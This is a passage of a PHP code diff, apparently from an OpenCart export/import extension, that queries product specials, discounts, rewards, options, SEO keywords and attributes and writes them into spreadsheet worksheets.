+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('image'),30)+1);
+ if ($exist_sort_order) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sort_order'),5)+1);
+ }
+
+ // The additional images headings row and colum styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'product_id';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'image';
+ if ($exist_sort_order) {
+ $data[$j++] = 'sort_order';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual additional images data
+ $styles = array();
+ $i += 1;
+ $j = 1;
+ $additional_images = $this->getAdditionalImages( $min_id, $max_id, $exist_sort_order );
+ foreach ($additional_images as $row) {
+ $data = array();
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data[$j++] = $row['product_id'];
+ $data[$j++] = $row['image'];
+ if ($exist_sort_order) {
+ $data[$j++] = $row['sort_order'];
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getSpecials( $language_id, $min_id=null, $max_id=null ) {
+ // Newer OC versions use the 'customer_group_description' instead of 'customer_group' table for the 'name' field
+ $exist_table_customer_group_description = false;
+ $query = $this->db->query( "SHOW TABLES LIKE '".DB_PREFIX."customer_group_description'" );
+ $exist_table_customer_group_description = ($query->num_rows > 0);
+
+ // get the product specials
+ $sql = "SELECT DISTINCT ps.*, ";
+ $sql .= ($exist_table_customer_group_description) ? "cgd.name " : "cg.name ";
+ $sql .= "FROM `".DB_PREFIX."product_special` ps ";
+ if ($exist_table_customer_group_description) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."customer_group_description` cgd ON cgd.customer_group_id=ps.customer_group_id ";
+ $sql .= " AND cgd.language_id=$language_id ";
+ } else {
+ $sql .= "LEFT JOIN `".DB_PREFIX."customer_group` cg ON cg.customer_group_id=ps.customer_group_id ";
+ }
+ if ($this->posted_categories) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON pc.product_id=ps.product_id ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product` p ON p.product_id=ps.product_id ";
+ }
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE ps.product_id BETWEEN $min_id AND $max_id ";
+ if ($this->posted_categories) {
+ $sql .= "AND pc.category_id IN ".$this->posted_categories." ";
+ }
+ } else if ($this->posted_categories) {
+ $sql .= "WHERE pc.category_id IN ".$this->posted_categories." ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= (strpos($sql," WHERE ",0)===false) ? "WHERE " : "AND ";
+ $sql .= "p.manufacturer_id IN ".$this->posted_manufacturers." ";
+ }
+ $sql .= "ORDER BY ps.product_id, name, ps.priority";
+ $result = $this->db->query( $sql );
+ return $result->rows;
+ }
+
+
+ protected function populateSpecialsWorksheet( &$worksheet, $language_id, &$price_format, &$box_format, &$text_format, $min_id=null, $max_id=null ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('product_id')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('customer_group')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('priority')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('price'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_start'),19)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_end'),19)+1);
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'product_id';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'customer_group';
+ $data[$j++] = 'priority';
+ $styles[$j] = &$price_format;
+ $data[$j++] = 'price';
+ $data[$j++] = 'date_start';
+ $data[$j++] = 'date_end';
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual product specials data
+ $i += 1;
+ $j = 1;
+ $specials = $this->getSpecials( $language_id, $min_id, $max_id );
+ foreach ($specials as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['product_id'];
+ $data[$j++] = $row['name'];
+ $data[$j++] = $row['priority'];
+ $data[$j++] = $row['price'];
+ $data[$j++] = $row['date_start'];
+ $data[$j++] = $row['date_end'];
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getDiscounts( $language_id, $min_id=null, $max_id=null ) {
+ // Newer OC versions use the 'customer_group_description' instead of 'customer_group' table for the 'name' field
+ $exist_table_customer_group_description = false;
+ $query = $this->db->query( "SHOW TABLES LIKE '".DB_PREFIX."customer_group_description'" );
+ $exist_table_customer_group_description = ($query->num_rows > 0);
+
+ // get the product discounts
+ $sql = "SELECT pd.*, ";
+ $sql .= ($exist_table_customer_group_description) ? "cgd.name " : "cg.name ";
+ $sql .= "FROM `".DB_PREFIX."product_discount` pd ";
+ if ($exist_table_customer_group_description) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."customer_group_description` cgd ON cgd.customer_group_id=pd.customer_group_id ";
+ $sql .= " AND cgd.language_id=$language_id ";
+ } else {
+ $sql .= "LEFT JOIN `".DB_PREFIX."customer_group` cg ON cg.customer_group_id=pd.customer_group_id ";
+ }
+ if ($this->posted_categories) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON pc.product_id=pd.product_id ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product` p ON p.product_id=pd.product_id ";
+ }
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE pd.product_id BETWEEN $min_id AND $max_id ";
+ if ($this->posted_categories) {
+ $sql .= "AND pc.category_id IN ".$this->posted_categories." ";
+ }
+ } else if ($this->posted_categories) {
+ $sql .= "WHERE pc.category_id IN ".$this->posted_categories." ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= (strpos($sql," WHERE ",0)===false) ? "WHERE " : "AND ";
+ $sql .= "p.manufacturer_id IN ".$this->posted_manufacturers." ";
+ }
+ $sql .= "ORDER BY pd.product_id ASC, name ASC, pd.quantity ASC";
+ $result = $this->db->query( $sql );
+ return $result->rows;
+ }
+
+
+ protected function populateDiscountsWorksheet( &$worksheet, $language_id, &$price_format, &$box_format, &$text_format, $min_id=null, $max_id=null ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('product_id')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('customer_group')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('quantity')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('priority')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('price'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_start'),19)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_end'),19)+1);
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'product_id';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'customer_group';
+ $data[$j++] = 'quantity';
+ $data[$j++] = 'priority';
+ $styles[$j] = &$price_format;
+ $data[$j++] = 'price';
+ $data[$j++] = 'date_start';
+ $data[$j++] = 'date_end';
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual product discounts data
+ $i += 1;
+ $j = 1;
+ $discounts = $this->getDiscounts( $language_id, $min_id, $max_id );
+ foreach ($discounts as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['product_id'];
+ $data[$j++] = $row['name'];
+ $data[$j++] = $row['quantity'];
+ $data[$j++] = $row['priority'];
+ $data[$j++] = $row['price'];
+ $data[$j++] = $row['date_start'];
+ $data[$j++] = $row['date_end'];
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getRewards( $language_id, $min_id=null, $max_id=null ) {
+ // Newer OC versions use the 'customer_group_description' instead of 'customer_group' table for the 'name' field
+ $exist_table_customer_group_description = false;
+ $query = $this->db->query( "SHOW TABLES LIKE '".DB_PREFIX."customer_group_description'" );
+ $exist_table_customer_group_description = ($query->num_rows > 0);
+
+ // get the product rewards
+ $sql = "SELECT DISTINCT pr.*, ";
+ $sql .= ($exist_table_customer_group_description) ? "cgd.name " : "cg.name ";
+ $sql .= "FROM `".DB_PREFIX."product_reward` pr ";
+ if ($exist_table_customer_group_description) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."customer_group_description` cgd ON cgd.customer_group_id=pr.customer_group_id ";
+ $sql .= " AND cgd.language_id=$language_id ";
+ } else {
+ $sql .= "LEFT JOIN `".DB_PREFIX."customer_group` cg ON cg.customer_group_id=pr.customer_group_id ";
+ }
+ if ($this->posted_categories) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON pc.product_id=pr.product_id ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product` p ON p.product_id=pr.product_id ";
+ }
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE pr.product_id BETWEEN $min_id AND $max_id ";
+ if ($this->posted_categories) {
+ $sql .= "AND pc.category_id IN ".$this->posted_categories." ";
+ }
+ } else if ($this->posted_categories) {
+ $sql .= "WHERE pc.category_id IN ".$this->posted_categories." ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= (strpos($sql," WHERE ",0)===false) ? "WHERE " : "AND ";
+ $sql .= "p.manufacturer_id IN ".$this->posted_manufacturers." ";
+ }
+ $sql .= "ORDER BY pr.product_id, name";
+ $result = $this->db->query( $sql );
+ return $result->rows;
+ }
+
+
+ protected function populateRewardsWorksheet( &$worksheet, $language_id, &$box_format, &$text_format, $min_id=null, $max_id=null ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('product_id')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('customer_group')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('points')+1);
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'product_id';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'customer_group';
+ $data[$j++] = 'points';
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual product rewards data
+ $i += 1;
+ $j = 1;
+ $rewards = $this->getRewards( $language_id, $min_id, $max_id );
+ foreach ($rewards as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['product_id'];
+ $data[$j++] = $row['name'];
+ $data[$j++] = $row['points'];
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getProductOptions( $min_id, $max_id ) {
+ // get default language id
+ $language_id = $this->getDefaultLanguageId();
+
+ // Opencart versions from 2.0 onwards use product_option.value instead of the older product_option.option_value
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."product_option` LIKE 'value'";
+ $query = $this->db->query( $sql );
+ $exist_po_value = ($query->num_rows > 0) ? true : false;
+
+ // DB query for getting the product options
+ if ($exist_po_value) {
+ $sql = "SELECT p.product_id, po.option_id, po.value AS option_value, po.required, od.name AS `option` FROM ";
+ } else {
+ $sql = "SELECT p.product_id, po.option_id, po.option_value, po.required, od.name AS `option` FROM ";
+ }
+ $sql .= "( SELECT p1.product_id ";
+ $sql .= " FROM `".DB_PREFIX."product` p1 ";
+ if ($this->posted_categories) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON pc.product_id=p1.product_id ";
+ }
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= " WHERE p1.product_id BETWEEN $min_id AND $max_id ";
+ if ($this->posted_categories) {
+ $sql .= "AND pc.category_id IN ".$this->posted_categories." ";
+ }
+ } else if ($this->posted_categories) {
+ $sql .= "WHERE pc.category_id IN ".$this->posted_categories." ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= (strpos($sql," WHERE ",0)===false) ? "WHERE " : "AND ";
+ $sql .= "p1.manufacturer_id IN ".$this->posted_manufacturers." ";
+ }
+ $sql .= " ORDER BY p1.product_id ASC ";
+ $sql .= ") AS p ";
+ $sql .= "INNER JOIN `".DB_PREFIX."product_option` po ON po.product_id=p.product_id ";
+ $sql .= "INNER JOIN `".DB_PREFIX."option_description` od ON od.option_id=po.option_id AND od.language_id='".(int)$language_id."' ";
+ $sql .= "ORDER BY p.product_id ASC, po.option_id ASC";
+ $query = $this->db->query( $sql );
+ return $query->rows;
+ }
+
+
+ protected function populateProductOptionsWorksheet( &$worksheet, &$box_format, &$text_format, $min_id=null, $max_id=null ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('product_id')+1);
+ if ($this->config->get( 'export_import_settings_use_option_id' )) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('option_id')+1);
+ } else {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('option'),30)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('default_option_value')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('required'),5)+1);
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'product_id';
+ if ($this->config->get( 'export_import_settings_use_option_id' )) {
+ $data[$j++] = 'option_id';
+ } else {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'option';
+ }
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'default_option_value';
+ $data[$j++] = 'required';
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual product options data
+ $i += 1;
+ $j = 1;
+ $product_options = $this->getProductOptions( $min_id, $max_id );
+ foreach ($product_options as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['product_id'];
+ if ($this->config->get( 'export_import_settings_use_option_id' )) {
+ $data[$j++] = $row['option_id'];
+ } else {
+ $data[$j++] = html_entity_decode($row['option'],ENT_QUOTES,'UTF-8');
+ }
+ $data[$j++] = html_entity_decode($row['option_value'],ENT_QUOTES,'UTF-8');
+ $data[$j++] = ($row['required']==0) ? 'false' : 'true';
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getProductOptionValues( $min_id, $max_id ) {
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT ";
+ $sql .= " p.product_id, pov.option_id, pov.option_value_id, pov.quantity, pov.subtract, od.name AS `option`, ovd.name AS option_value, ";
+ $sql .= " pov.price, pov.price_prefix, pov.points, pov.points_prefix, pov.weight, pov.weight_prefix ";
+ $sql .= "FROM ";
+ $sql .= "( SELECT p1.product_id ";
+ $sql .= " FROM `".DB_PREFIX."product` p1 ";
+ if ($this->posted_categories) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON pc.product_id=p1.product_id ";
+ }
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= " WHERE p1.product_id BETWEEN $min_id AND $max_id ";
+ if ($this->posted_categories) {
+ $sql .= "AND pc.category_id IN ".$this->posted_categories." ";
+ }
+ } else if ($this->posted_categories) {
+ $sql .= "WHERE pc.category_id IN ".$this->posted_categories." ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= (strpos($sql," WHERE ",0)===false) ? "WHERE " : "AND ";
+ $sql .= "p1.manufacturer_id IN ".$this->posted_manufacturers." ";
+ }
+ $sql .= " ORDER BY product_id ASC ";
+ $sql .= ") AS p ";
+ $sql .= "INNER JOIN `".DB_PREFIX."product_option_value` pov ON pov.product_id=p.product_id ";
+ $sql .= "INNER JOIN `".DB_PREFIX."option_value_description` ovd ON ovd.option_value_id=pov.option_value_id AND ovd.language_id='".(int)$language_id."' ";
+ $sql .= "INNER JOIN `".DB_PREFIX."option_description` od ON od.option_id=ovd.option_id AND od.language_id='".(int)$language_id."' ";
+ $sql .= "ORDER BY p.product_id ASC, pov.option_id ASC, pov.option_value_id";
+ $query = $this->db->query( $sql );
+ return $query->rows;
+ }
+
+
+ protected function populateProductOptionValuesWorksheet( &$worksheet, &$price_format, &$box_format, &$weight_format, &$text_format, $min_id=null, $max_id=null ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('product_id')+1);
+ if ($this->config->get( 'export_import_settings_use_option_id' )) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('option_id')+1);
+ } else {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('option'),30)+1);
+ }
+ if ($this->config->get( 'export_import_settings_use_option_value_id' )) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('option_value_id')+1);
+ } else {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('option_value'),30)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('quantity'),4)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('subtract'),5)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('price'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('price_prefix'),5)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('points'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('points_prefix'),5)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('weight'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('weight_prefix'),5)+1);
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'product_id';
+ if ($this->config->get( 'export_import_settings_use_option_id' )) {
+ $data[$j++] = 'option_id';
+ } else {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'option';
+ }
+ if ($this->config->get( 'export_import_settings_use_option_value_id' )) {
+ $data[$j++] = 'option_value_id';
+ } else {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'option_value';
+ }
+ $data[$j++] = 'quantity';
+ $data[$j++] = 'subtract';
+ $styles[$j] = &$price_format;
+ $data[$j++] = 'price';
+ $data[$j++] = "price_prefix";
+ $data[$j++] = 'points';
+ $data[$j++] = "points_prefix";
+ $styles[$j] = &$weight_format;
+ $data[$j++] = 'weight';
+ $data[$j++] = 'weight_prefix';
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual product option values data
+ $i += 1;
+ $j = 1;
+ $product_option_values = $this->getProductOptionValues( $min_id, $max_id );
+ foreach ($product_option_values as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['product_id'];
+ if ($this->config->get( 'export_import_settings_use_option_id' )) {
+ $data[$j++] = $row['option_id'];
+ } else {
+ $data[$j++] = html_entity_decode($row['option'],ENT_QUOTES,'UTF-8');
+ }
+ if ($this->config->get( 'export_import_settings_use_option_value_id' )) {
+ $data[$j++] = $row['option_value_id'];
+ } else {
+ $data[$j++] = html_entity_decode($row['option_value'],ENT_QUOTES,'UTF-8');
+ }
+ $data[$j++] = $row['quantity'];
+ $data[$j++] = ($row['subtract']==0) ? 'false' : 'true';
+ $data[$j++] = $row['price'];
+ $data[$j++] = $row['price_prefix'];
+ $data[$j++] = $row['points'];
+ $data[$j++] = $row['points_prefix'];
+ $data[$j++] = $row['weight'];
+ $data[$j++] = $row['weight_prefix'];
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getProductSEOKeywords( &$languages, $min_id, $max_id ) {
+ $sql = "SELECT s.* FROM `".DB_PREFIX."seo_url` s ";
+ if ($this->posted_categories) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON pc.product_id=CAST(SUBSTRING(s.query FROM 12) AS UNSIGNED INTEGER) ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product` p ON p.product_id=CAST(SUBSTRING(s.query FROM 12) AS UNSIGNED INTEGER) ";
+ }
+ $sql .= "WHERE s.query LIKE 'product_id=%' AND ";
+ if ($this->posted_categories) {
+ $sql .= "pc.category_id IN ".$this->posted_categories." AND ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= "p.manufacturer_id IN ".$this->posted_manufacturers." AND ";
+ }
+ $sql .= "CAST(SUBSTRING(s.query FROM 12) AS UNSIGNED INTEGER) >= '".(int)$min_id."' AND ";
+ $sql .= "CAST(SUBSTRING(s.query FROM 12) AS UNSIGNED INTEGER) <= '".(int)$max_id."' ";
+ $sql .= "ORDER BY CAST(SUBSTRING(s.query FROM 12) AS UNSIGNED INTEGER), s.store_id, s.language_id";
+ $query = $this->db->query( $sql );
+ $seo_keywords = array();
+ foreach ($query->rows as $row) {
+ $product_id = (int)substr($row['query'],11);
+ $store_id = (int)$row['store_id'];
+ $language_id = (int)$row['language_id'];
+ if (!isset($seo_keywords[$product_id])) {
+ $seo_keywords[$product_id] = array();
+ }
+ if (!isset($seo_keywords[$product_id][$store_id])) {
+ $seo_keywords[$product_id][$store_id] = array();
+ }
+ $seo_keywords[$product_id][$store_id][$language_id] = $row['keyword'];
+ }
+ $results = array();
+ foreach ($seo_keywords as $product_id=>$val1) {
+ foreach ($val1 as $store_id=>$val2) {
+ $keyword = array();
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ $keyword[$language_code] = isset($val2[$language_id]) ? $val2[$language_id] : '';
+ }
+ $results[] = array(
+ 'product_id' => $product_id,
+ 'store_id' => $store_id,
+ 'keyword' => $keyword
+ );
+ }
+ }
+ return $results;
+ }
+
+
+ protected function populateProductSEOKeywordsWorksheet( &$worksheet, &$languages, &$box_format, &$text_format, $min_id=null, $max_id=null ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('product_id')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('store_id')+1);
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('keyword')+4,30)+1);
+ }
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'product_id';
+ $data[$j++] = 'store_id';
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'keyword('.$language['code'].')';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual product SEO keywords data
+ $i += 1;
+ $j = 1;
+ $product_seo_keywords = $this->getProductSEOKeywords( $languages, $min_id, $max_id );
+ foreach ($product_seo_keywords as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(26);
+ $data = array();
+ $data[$j++] = $row['product_id'];
+ $data[$j++] = $row['store_id'];
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['keyword'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+
+ }
+
+
+ protected function getAttributeGroupNames( $language_id ) {
+ $sql = "SELECT attribute_group_id, name ";
+ $sql .= "FROM `".DB_PREFIX."attribute_group_description` ";
+ $sql .= "WHERE language_id='".(int)$language_id."' ";
+ $sql .= "ORDER BY attribute_group_id ASC";
+ $query = $this->db->query( $sql );
+ $attribute_group_names = array();
+ foreach ($query->rows as $row) {
+ $attribute_group_id = $row['attribute_group_id'];
+ $name = $row['name'];
+ $attribute_group_names[$attribute_group_id] = $name;
+ }
+ return $attribute_group_names;
+ }
+
+
+ protected function getAttributeNames( $language_id ) {
+ $sql = "SELECT attribute_id, name ";
+ $sql .= "FROM `".DB_PREFIX."attribute_description` ";
+ $sql .= "WHERE language_id='".(int)$language_id."' ";
+ $sql .= "ORDER BY attribute_id ASC";
+ $query = $this->db->query( $sql );
+ $attribute_names = array();
+ foreach ($query->rows as $row) {
+ $attribute_id = $row['attribute_id'];
+ $attribute_name = $row['name'];
+ $attribute_names[$attribute_id] = $attribute_name;
+ }
+ return $attribute_names;
+ }
+
+
+ protected function getProductAttributes( &$languages, $min_id, $max_id ) {
+ $sql = "SELECT pa.product_id, ag.attribute_group_id, pa.attribute_id, pa.language_id, pa.text ";
+ $sql .= "FROM `".DB_PREFIX."product_attribute` pa ";
+ $sql .= "INNER JOIN `".DB_PREFIX."attribute` a ON a.attribute_id=pa.attribute_id ";
+ $sql .= "INNER JOIN `".DB_PREFIX."attribute_group` ag ON ag.attribute_group_id=a.attribute_group_id ";
+ if ($this->posted_categories) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON pc.product_id=pa.product_id ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product` p ON p.product_id=pa.product_id ";
+ }
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE pa.product_id BETWEEN $min_id AND $max_id ";
+ if ($this->posted_categories) {
+ $sql .= "AND pc.category_id IN ".$this->posted_categories." ";
+ }
+ } else if ($this->posted_categories) {
+ $sql .= "WHERE pc.category_id IN ".$this->posted_categories." ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= (strpos($sql," WHERE ",0)===false) ? " WHERE " : " AND ";
+ $sql .= "p.manufacturer_id IN ".$this->posted_manufacturers." ";
+ }
+ $sql .= "ORDER BY pa.product_id ASC, ag.attribute_group_id ASC, pa.attribute_id ASC";
+ $query = $this->db->query( $sql );
+ $texts = array();
+ foreach ($query->rows as $row) {
+ $product_id = $row['product_id'];
+ $attribute_group_id = $row['attribute_group_id'];
+ $attribute_id = $row['attribute_id'];
+ $language_id = $row['language_id'];
+ $text = $row['text'];
+ $texts[$product_id][$attribute_group_id][$attribute_id][$language_id] = $text;
+ }
+ $product_attributes = array();
+ foreach ($texts as $product_id=>$level1) {
+ foreach ($level1 as $attribute_group_id=>$level2) {
+ foreach ($level2 as $attribute_id=>$text) {
+ $product_attribute = array();
+ $product_attribute['product_id'] = $product_id;
+ $product_attribute['attribute_group_id'] = $attribute_group_id;
+ $product_attribute['attribute_id'] = $attribute_id;
+ $product_attribute['text'] = array();
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $code = $language['code'];
+ if (isset($text[$language_id])) {
+ $product_attribute['text'][$code] = $text[$language_id];
+ } else {
+ $product_attribute['text'][$code] = '';
+ }
+ }
+ $product_attributes[] = $product_attribute;
+ }
+ }
+ }
+ return $product_attributes;
+ }
+
+
+ protected function populateProductAttributesWorksheet( &$worksheet, &$languages, $default_language_id, &$box_format, &$text_format, $min_id=null, $max_id=null ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('product_id')+1);
+ if ($this->config->get( 'export_import_settings_use_attribute_group_id' )) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('attribute_group_id')+1);
+ } else {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('attribute_group'),30)+1);
+ }
+ if ($this->config->get( 'export_import_settings_use_attribute_id' )) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('attribute_id')+1);
+ } else {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('attribute'),30)+1);
+ }
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('text')+4,30)+1);
+ }
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'product_id';
+ if ($this->config->get( 'export_import_settings_use_attribute_group_id' )) {
+ $data[$j++] = 'attribute_group_id';
+ } else {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'attribute_group';
+ }
+ if ($this->config->get( 'export_import_settings_use_attribute_id' )) {
+ $data[$j++] = 'attribute_id';
+ } else {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'attribute';
+ }
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'text('.$language['code'].')';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual product attributes data
+ if (!$this->config->get( 'export_import_settings_use_attribute_group_id' )) {
+ $attribute_group_names = $this->getAttributeGroupNames( $default_language_id );
+ }
+ if (!$this->config->get( 'export_import_settings_use_attribute_id' )) {
+ $attribute_names = $this->getAttributeNames( $default_language_id );
+ }
+ $i += 1;
+ $j = 1;
+ $product_attributes = $this->getProductAttributes( $languages, $min_id, $max_id );
